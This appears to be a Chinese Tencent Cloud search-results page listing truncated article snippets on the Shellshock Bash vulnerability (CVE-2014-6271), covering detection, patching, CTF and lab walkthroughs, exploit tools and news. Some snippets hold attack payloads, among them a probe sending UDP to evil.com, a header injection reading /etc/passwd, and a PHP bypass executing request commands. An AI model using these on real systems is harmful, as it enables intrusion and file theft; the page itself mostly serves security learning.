- 综合排序
- 最热优先
- 最新优先
- 来自专栏全栈工程师修炼之路
Linux渗透之Shellshock后门
[TOC] 0x00 前言 描述:Shellshock又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞 破壳漏洞（ShellShock）的严重性被定义为 10 级（最高）,而今年 4 月爆发的 OpenSSL(心脏出血)漏洞才 5 级！ WeiyiGeek. 0x01 测试和利用 1.判断方法 #方法1 env x='() { :;}; echo Shellshock' bash -c "exit" #方法2 () { :; }; echo 1 > /dev/udp/evil.com/53 #如果服务器存在Shellshock漏洞，evil.com的53端口就会受到一个UDP包 ? : text/plain\";echo; echo;/bin/cat /etc/passwd" url 4.Shellshock 利用工具 描述：一个发现并利用服务器 Shellshock 的工具,项目地址
2.2K00发布于 2020-10-23 - 来自专栏全栈工程师修炼之路
Linux渗透之Shellshock后门
[TOC] 0x00 前言 描述:Shellshock又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞 破壳漏洞（ShellShock）的严重性被定义为 10 级（最高）,而今年 4 月爆发的 OpenSSL(心脏出血)漏洞才 5 级！ 为结束，而是一直执行其后的shell命令 受影响的版本: WeiyiGeek. ---- 0x01 测试和利用 1.判断方法 #方法1 env x='() { :;}; echo Shellshock ' bash -c "exit" #方法2 () { :;}; echo 1 > /dev/udp/evil.com/53 #如果服务器存在Shellshock漏洞，evil.com的53端口就会受到一个 利用工具 描述：一个发现并利用服务器 Shellshock 的工具,项目地址: https://github.com/nccgroup/shocker #Help Text usage: shocker.py
1.7K20编辑于 2022-09-29 - 来自专栏科技前线
升级Bash修复Shellshock漏洞
Shellshock，又称Bashdoor，是一个安全漏洞，于2014年9月12日被发现，直到9月24日被赋予了CVE编号CVE-2014-6271才得以控制。 除了CVE-2014-6271之外，打了Shellshock补丁后的几天内又发现了许多其他相关漏洞。本指南将告诉你如何安全地升级Linux发行版并保护Linode免受Bash漏洞攻击。 幸运的是，大多数发行版修补了这两个CVE，完成了Shellshock漏洞修补。
2.2K20发布于 2018-08-29 - 来自专栏FreeBuf
使用ShellShockHunter测试ShellShock漏洞
关于ShellShock（软件漏洞） ShellShock，也被称为Bashdoor，是Unix Bash shell中的一系列安全漏洞，第一个漏洞于2014年9月24日披露。 ShellShock将允许攻击者使Bash执行任意命令，并获得对许多使用Bash处理请求的面向Internet的服务（如Web服务器）的未经授权的访问权限。 vulnerable targets --thread <20>, -t <20> Eg. 20 --check Check for shellshock
91710发布于 2021-04-16 - 来自专栏农夫安全
docker小试牛刀之bash_shellshock漏洞复现
漏洞名称 bash_shellshock • 首先，问题起因于一个命令ENV。 • 原型： • env [OPTION]...[NAME=VALUE]... 利用方法 • 1、pull docker镜像，搭建环境 • docker pull medicean/vulapps:b_bash_shellshock1 ? • 2、启动镜像 • docker run -d -p 1000:80 medicean/vulapps:b_bash_shellshock1 • 3、使用burp抓包，更改UA ? ?
1.1K80发布于 2018-03-30 - 来自专栏FreeBuf
一款针对Shellshock漏洞的利用工具
xShock是一款针对Shellshock漏洞的利用工具，该工具由Hulya Karabag开发，当前版本号为v1.0.0。 在xShock的帮助下，广大安全研究人员可以轻松对ShellShock漏洞（CVE-2014-6271）进行漏洞利用测试。
1K20发布于 2020-05-14 - 来自专栏安恒信息
“圣诞怪杰”Grinch：比Bash破壳（shellshock）更严重的Linux漏洞
安全研究人员在Linux操作系统中发现了一个名为圣诞怪杰（Grinch）的漏洞，该漏洞存在于linux系统中，和Bash破壳（shellshock）漏洞（CNNVD-201409-938）一样可以在受害者机器上获得最高权限 Bash破壳（shellshock）漏洞在今年9月份的时候在技术界造成了很大反响，Bash中的一个代码错误影响了所有的UNIX操作系统，包括Linux和Mac系统。 和shellshock漏洞的攻击效果类似，攻击者利用圣诞怪杰（Grinch）的漏洞可以在没有密码或者加密密钥的情况下获得系统root权限。
91570发布于 2018-04-10 - 来自专栏FreeBuf
xShock：一款针对Shellshock漏洞的利用工具
xShock是一款针对Shellshock漏洞的利用工具，该工具由Hulya Karabag开发，当前版本号为v1.0.0。 在xShock的帮助下，广大安全研究人员可以轻松对ShellShock漏洞（CVE-2014-6271）进行漏洞利用测试。
76820发布于 2020-05-14 - 来自专栏玄魂工作室
Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令
翻译来自：掣雷小组 成员信息： thr0cyte，Gr33k，花花，MrTools，R1ght0us，7089bAt~ 7.2、通过利用Shellshock执行命令 Shellshock(也叫Bashdoor 在此小节中，我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。 让我们看看代理的历史: 我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh，这可能是易受Shellshock漏洞影响的脚本。 3. 现在，设置BurpSuite拦截并重新加载shellshock.php。 5. 更多资料 Shellshock漏洞在全世界范围内影响了大量的服务器和设备，有多种方法可以利用它。
1K30发布于 2019-03-06 - 来自专栏FreeBuf
Bash破壳漏洞（ShellShock）再变身：针对邮件服务器SMTP攻击
Bash破壳漏洞（ShellShock，CVE-2014-6271）新的利用方法又来了！
1.2K50发布于 2018-02-05 - 来自专栏闪石星曜CyberSecurity
Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令
在此小节中，我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。 我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh，这可能是易受Shellshock漏洞影响的脚本。 3. 现在，设置BurpSuite拦截并重新加载shellshock.php。 5. 在Burp Suite中，单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。 更多资料 Shellshock漏洞在全世界范围内影响了大量的服务器和设备，有多种方法可以利用它。
1K20发布于 2019-07-25 - 来自专栏XRSec.Blog
HackSudo
靶机介绍 目标介绍 ：Debian Linux （目标是个网上在线银行系统） 攻击主机 ： kali Linux 利用技术： shellshock破壳漏洞<–cgi-bin–> GTFOBins提权 github 直接在后台 页面登录 可以登录后台，但是在一番尝试后，发现并没有任何*用，于是尝试寻找其他漏洞 3.shellshock漏洞 在信息收集的时候发现了cgi-bin的目录，有这个目录也就以为着可能存在shellshock tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) | http-shellshock : | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: :CVE-2014-6271 | This web application might be affected by the vulnerability known | as Shellshock
47220编辑于 2022-03-12 - 来自专栏FreeBuf
走近科学：谷歌工程师NeelMehta是如何发现心脏滴血漏洞的
Mehta说新的漏洞还在不断的上演，而且可能更为严重，例如Shellshock就比Heartbleed严重。Shellshock是由开源软件开发者Stephane Chazelas发现的。 Shellshock和Heartbleed之所以那么严重是因为这些漏洞存在于Bash 和OpenSSL软件之中。他还怀疑过其他粘附性的软件，因为这些软件上可能有一些存在多年但又没被发现的漏洞。
89580发布于 2018-02-05 - 来自专栏FreeBuf
弹性边界：如何利用环境变量进行提权
环境变量得到重视还得从2014年9月份爆发的ShellShock漏洞说起。 关于ShellShock可参考 《ShellShock（破壳）漏洞余威不减：新ShellShock蠕虫扫描大量脆弱主机展开攻击》 《SEED实验系列：ShellShock攻击实验》 《破壳（ShellShock
1.6K70发布于 2018-02-09 - 来自专栏闪石星曜CyberSecurity
星球优秀成员作品 | 『VulnHub系列』symfonos: 3-Walkthrough
如果是个老司机，应该可以直接得出靶机可能有shellshock漏洞的结论，可是我不是老司机……哈哈哈 ? http://192.168.0.110/cgi-bin/underworld/support.php http://192.168.0.110/cgi-bin/underworld/2.php 关于shellshock 漏洞我看了这几篇文章 l3m0n大师傅：CVE-2014-6271破壳(shellshock)漏洞复现记录 https://www.cnblogs.com/iamstudy/articles/CVE-2014 -6271_shellshock.html 嘶吼：metasploit模块可以利用shellshock漏洞getshell https://www.4hou.com/vulnerable/12984.html Freebuff：破壳漏洞（CVE-2014-6271）综合分析：“破壳”漏洞系列分析之二 https://www.freebuf.com/articles/system/48357.html 0x01、shellshock
1.7K20发布于 2019-10-21 - 来自专栏BinarySec
一些pwn题目的解题思路[pwnable.kr] II
目录 以下是solution的目录 #mistake #shellshock #coin1 #blackjack #lotto #cmd1 Other 一些pwn题目的解题思路[pwnable.kr] .0000000000input password : 1111111111Password OKMommy, the operator priority always confuses me :( shellshock setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock shellshock@ubuntu:~$ env foo='() { :;}; echo vul' . /bash -c 'echo yes'vulyes 存在漏洞，直接丢来exploit shellshock@ubuntu:~$ env foo='() { :;}; /bin/cat flag' .
1.6K50发布于 2018-05-04 - 来自专栏离别歌 - 信息安全与代码审计
PHP Execute Command Bypass Disable_functions
php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 function shellshock "; } echo shellshock($_REQUEST["cmd"]); ?> ?
56330发布于 2020-10-15 - 来自专栏安恒信息
安恒信息助您巧妙应对“破壳漏洞”
IT业界将GNU Bash漏洞称之为“Shellshock”，中文译为“破壳漏洞”。 “Shellshock”被形容为历来发现的最严重和最普遍的网络安全漏洞之一，由于该软件同样广泛应用于各类网络服务器以及其他电脑设备，所以可能这项漏洞的威胁程度比“Openssl心脏流血”漏洞更大，因为黑客可以借此完全控制被感染的机器 美国国土安全部的国家网络安全部门对“Shellshock”的可利用性打分为10分(总分10分)，影响打分为10分(总分10分)，总体严重性的打分也是10分，即最具破坏力的评分。
82660发布于 2018-04-10 - 来自专栏FreeBuf
Bash漏洞再次演进：缓冲区溢出导致远程任意命令执行
近几天，“Shellshock”Bash漏洞的出现可谓是给安全界投放了一颗重型炸弹，越来越多的厂商和黑白帽子都纷纷加入到分析阵营当中，同时也接二连三爆出了更多针对Bash的漏洞，明显出现了一种“破窗效应 另外，可能在Bash漏洞（Shellshock）刚刚出来的时候，各大安全厂商都经历了几个不眠不休的夜晚，可是官方的一个Patch（补丁）又让我们的汗水付诸东流，然后一个新的绕过方法又让旧的Patch失去效果
1K100发布于 2018-02-05 - 来自专栏企鹅号快讯
这个 Office 漏洞的年龄可能比有些白帽子还大
22年：“Shellshock”漏洞 2014 年 9 月，Bash 曝出代号“ Shellshock”（中文名翻译为“破壳”）的高危漏洞，编号 CVE-2014-6271。 “ Shellshock”利用了Bash 环境变量的不当处理漏洞，它可以引发恶意类型的远程执行代码。换句话说，借助这个漏洞，黑客可以非常隐蔽的在系统中执行命令，从而有可能获取最高权限。 参考文章： 详解｜NSA “永恒之蓝”勒索蠕虫爆发，开机即可被勒索到底怎么回事（内附解决办法及预防措施） Shellshock爆发，“心血漏洞”卷土重来 一个漏洞能潜伏多少年？
1.6K60发布于 2018-01-31
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号